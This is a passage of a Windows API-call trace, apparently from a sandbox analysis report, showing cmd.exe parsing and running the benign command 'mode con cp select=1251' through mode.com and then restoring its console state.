lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.112] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0256.112] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.112] GetFileType (hFile=0x248) returned 0x3 [0256.113] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.113] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.113] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.113] GetFileType (hFile=0x254) returned 0x3 [0256.113] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0256.113] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xc37e9ffb88, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffb88*=0x18, lpOverlapped=0x0) returned 1 [0256.113] GetProcessHeap () returned 0x229d1d70000 [0256.113] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x4012) returned 0x229d1d78e90 [0256.113] GetProcessHeap () returned 0x229d1d70000 [0256.113] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78e90) returned 1 [0256.113] _wcsicmp (_String1="mode", _String2=")") returned 68 [0256.113] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0256.113] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0256.114] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0256.114] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0256.114] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0256.114] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0256.114] GetProcessHeap () returned 0x229d1d70000 [0256.114] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb0) returned 0x229d1d777c0 [0256.114] GetProcessHeap () returned 0x229d1d70000 [0256.114] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1a) returned 0x229d1d76330 [0256.114] GetProcessHeap () returned 0x229d1d70000 [0256.114] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x38) returned 0x229d1d76500 [0256.115] GetConsoleOutputCP () returned 0x1b5 [0256.131] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0256.131] SetThreadUILanguage (LangId=0x0) returned 0x409 [0256.131] GetConsoleTitleW (in: lpConsoleTitle=0xc37e9ff9d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0256.132] malloc (_Size=0xffce) returned 0x229d1c90840 [0256.132] ??_V@YAXPEAX@Z () returned 0x229d1c90840 [0256.132] malloc (_Size=0xffce) returned 0x229d1ca0820 [0256.132] ??_V@YAXPEAX@Z () returned 0x229d1ca0820 [0256.132] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0256.133] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0256.133] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0256.133] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0256.133] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0256.133] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0256.133] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0256.133] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0256.133] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0256.133] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0256.133] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0256.133] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0256.133] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0256.133] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0256.133] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0256.133] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0256.133] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0256.133] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0256.133] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0256.133] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0256.133] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0256.133] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0256.133] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0256.133] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0256.133] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0256.133] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0256.133] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0256.133] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0256.133] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0256.133] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0256.133] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0256.133] _wcsicmp (_String1="mode", _String2="START") returned -6 [0256.133] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0256.134] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0256.134] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0256.134] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0256.134] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0256.134] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0256.134] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0256.134] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0256.134] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0256.134] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0256.134] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0256.134] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0256.134] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0256.134] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0256.134] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0256.134] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0256.134] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0256.134] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0256.134] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0256.134] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0256.134] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0256.134] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0256.134] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0256.134] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0256.134] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0256.134] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0256.134] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0256.134] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0256.134] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0256.134] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0256.134] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0256.134] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0256.134] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0256.134] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0256.135] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0256.135] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0256.135] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0256.135] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0256.135] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0256.135] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0256.135] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0256.135] _wcsicmp (_String1="mode", _String2="START") returned -6 [0256.135] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0256.135] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0256.135] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0256.135] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0256.135] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0256.135] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0256.135] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0256.135] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0256.135] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0256.135] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0256.135] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0256.135] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0256.135] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0256.135] ??_V@YAXPEAX@Z () returned 0x1 [0256.135] GetProcessHeap () returned 0x229d1d70000 [0256.135] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xffde) returned 0x229d1d78e90 [0256.136] GetProcessHeap () returned 0x229d1d70000 [0256.136] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x42) returned 0x229d1d77880 [0256.136] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0256.136] malloc (_Size=0xffce) returned 0x229d1ca0820 [0256.136] ??_V@YAXPEAX@Z () returned 0x229d1ca0820 [0256.136] GetProcessHeap () returned 0x229d1d70000 [0256.136] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1ffac) returned 0x229d1d88e80 [0256.138] SetErrorMode (uMode=0x0) returned 0x0 [0256.138] SetErrorMode (uMode=0x1) returned 0x0 [0256.138] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x229d1d88e90, lpFilePart=0xc37e9ff250 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc37e9ff250*="system32") returned 0x13 [0256.138] SetErrorMode (uMode=0x0) returned 0x1 [0256.138] GetProcessHeap () returned 0x229d1d70000 [0256.138] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d88e80, Size=0x42) returned 0x229d1d88e80 [0256.138] GetProcessHeap () returned 0x229d1d70000 [0256.138] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d88e80) returned 0x42 [0256.138] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0256.138] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0256.138] GetProcessHeap () returned 0x229d1d70000 [0256.138] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1b6) returned 0x229d1d778d0 [0256.138] GetProcessHeap () returned 0x229d1d70000 [0256.139] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x35c) returned 0x229d1d88ee0 [0256.150] GetProcessHeap () returned 0x229d1d70000 [0256.150] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d88ee0, Size=0x1b8) returned 0x229d1d88ee0 [0256.150] GetProcessHeap () returned 0x229d1d70000 [0256.150] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d88ee0) returned 0x1b8 [0256.150] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0256.150] GetProcessHeap () returned 0x229d1d70000 [0256.150] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xe8) returned 0x229d1d890b0 [0256.152] GetProcessHeap () returned 0x229d1d70000 [0256.152] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d890b0, Size=0x7e) returned 0x229d1d890b0 [0256.152] GetProcessHeap () returned 0x229d1d70000 [0256.152] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d890b0) returned 0x7e [0256.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0256.152] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xc37e9fefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc37e9fefc0) returned 0x229d1d89140 [0256.430] GetProcessHeap () returned 0x229d1d70000 [0256.430] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x0, Size=0x28) returned 0x229d1d76540 [0256.430] FindClose (in: hFindFile=0x229d1d89140 | out: hFindFile=0x229d1d89140) returned 1 [0256.430] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xc37e9fefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc37e9fefc0) returned 0x229d1d89140 [0256.430] GetProcessHeap () returned 0x229d1d70000 [0256.430] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d76540, Size=0x8) returned 0x229d1d76540 [0256.430] FindClose (in: hFindFile=0x229d1d89140 | out: hFindFile=0x229d1d89140) returned 1 [0256.430] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0256.430] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0256.430] ??_V@YAXPEAX@Z () returned 0x1 [0256.430] GetConsoleTitleW (in: lpConsoleTitle=0xc37e9ff540, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0256.446] GetProcessHeap () returned 0x229d1d70000 [0256.446] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x21c) returned 0x229d1d89140 [0256.446] GetConsoleTitleW (in: lpConsoleTitle=0x229d1d89150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0256.446] GetProcessHeap () returned 0x229d1d70000 [0256.446] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d89140, Size=0x8c) returned 0x229d1d89140 [0256.446] GetProcessHeap () returned 0x229d1d70000 [0256.446] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d89140) returned 0x8c [0256.446] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0256.448] GetProcessHeap () returned 0x229d1d70000 [0256.448] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d89140) returned 1 [0256.448] InitializeProcThreadAttributeList (in: lpAttributeList=0xc37e9ff460, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc37e9ff350 | out: lpAttributeList=0xc37e9ff460, lpSize=0xc37e9ff350) returned 1 [0256.448] UpdateProcThreadAttribute (in: lpAttributeList=0xc37e9ff460, dwFlags=0x0, Attribute=0x60001, lpValue=0xc37e9ff33c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc37e9ff460, lpPreviousValue=0x0) returned 1 [0256.448] GetStartupInfoW (in: lpStartupInfo=0xc37e9ff3f0 | out: lpStartupInfo=0xc37e9ff3f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0256.448] GetProcessHeap () returned 0x229d1d70000 [0256.448] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x20) returned 0x229d1d77610 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0256.448] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0256.449] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0256.449] GetProcessHeap () returned 0x229d1d70000 [0256.449] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d77610) returned 1 [0256.449] GetProcessHeap () returned 0x229d1d70000 [0256.449] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x12) returned 0x229d1d77610 [0256.449] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.449] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0256.449] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.449] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0256.449] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc37e9ff380*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc37e9ff358 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xc37e9ff358*(hProcess=0x98, hThread=0x94, dwProcessId=0xdec, dwThreadId=0xdf0)) returned 1 [0256.683] CloseHandle (hObject=0x94) returned 1 [0256.683] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0256.684] GetProcessHeap () returned 0x229d1d70000 [0256.684] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76570) returned 1 [0256.684] GetEnvironmentStringsW () returned 0x229d1d76570* [0256.684] GetProcessHeap () returned 0x229d1d70000 [0256.684] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xafe) returned 0x229d1d89540 [0256.684] FreeEnvironmentStringsA (penv="=") returned 1 [0256.684] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffec4360000 [0256.684] GetProcAddress (hModule=0x7ffec4360000, lpProcName="NtQueryInformationProcess") returned 0x7ffec44056b0 [0256.684] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xc37e9fe858, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc37e9fe858, ReturnLength=0x0) returned 0x0 [0256.684] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x7e4fe88000, lpBuffer=0xc37e9fe890, nSize=0x7a0, lpNumberOfBytesRead=0xc37e9fe850 | out: lpBuffer=0xc37e9fe890*, lpNumberOfBytesRead=0xc37e9fe850*=0x7a0) returned 1 [0256.684] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0264.389] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xc37e9ff2d8 | out: lpExitCode=0xc37e9ff2d8*=0x0) returned 1 [0264.389] CloseHandle (hObject=0x98) returned 1 [0264.389] _vsnwprintf (in: _Buffer=0xc37e9ff4a8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc37e9ff2e8 | out: _Buffer="00000000") returned 8 [0264.389] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0264.389] GetProcessHeap () returned 0x229d1d70000 [0264.389] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d89540) returned 1 [0264.389] GetEnvironmentStringsW () returned 0x229d1d8ab80* [0264.389] GetProcessHeap () returned 0x229d1d70000 [0264.389] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb24) returned 0x229d1d8b6b0 [0264.389] FreeEnvironmentStringsA (penv="=") returned 1 [0264.389] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0264.389] GetProcessHeap () returned 0x229d1d70000 [0264.389] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d8b6b0) returned 1 [0264.389] GetEnvironmentStringsW () returned 0x229d1d8ab80* [0264.390] GetProcessHeap () returned 0x229d1d70000 [0264.390] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb24) returned 0x229d1d8b6b0 [0264.390] FreeEnvironmentStringsA (penv="=") returned 1 [0264.390] GetProcessHeap () returned 0x229d1d70000 [0264.390] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d77610) returned 1 [0264.390] DeleteProcThreadAttributeList (in: lpAttributeList=0xc37e9ff460 | out: lpAttributeList=0xc37e9ff460) [0264.390] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0264.392] ??_V@YAXPEAX@Z () returned 0x1 [0264.392] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.392] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0264.392] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.392] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff67d04fc08 | out: lpMode=0x7ff67d04fc08) returned 0 [0264.392] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.392] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff67d04fc0c | out: lpMode=0x7ff67d04fc0c) returned 0 [0264.392] GetConsoleOutputCP () returned 0x4e3 [0264.393] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0264.409] SetThreadUILanguage (LangId=0x0) returned 0x409 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d890b0) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d88ee0) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d778d0) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d88e80) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d77880) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78e90) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76500) returned 1 [0264.409] GetProcessHeap () returned 0x229d1d70000 [0264.409] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76330) returned 1 [0264.410] GetProcessHeap () returned 0x229d1d70000 [0264.410] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d777c0) returned 1 [0264.410] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc37e9ff888 | out: _Buffer="\r\n") returned 2 [0264.410] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.410] GetFileType (hFile=0x254) returned 0x3 [0264.410] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.410] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 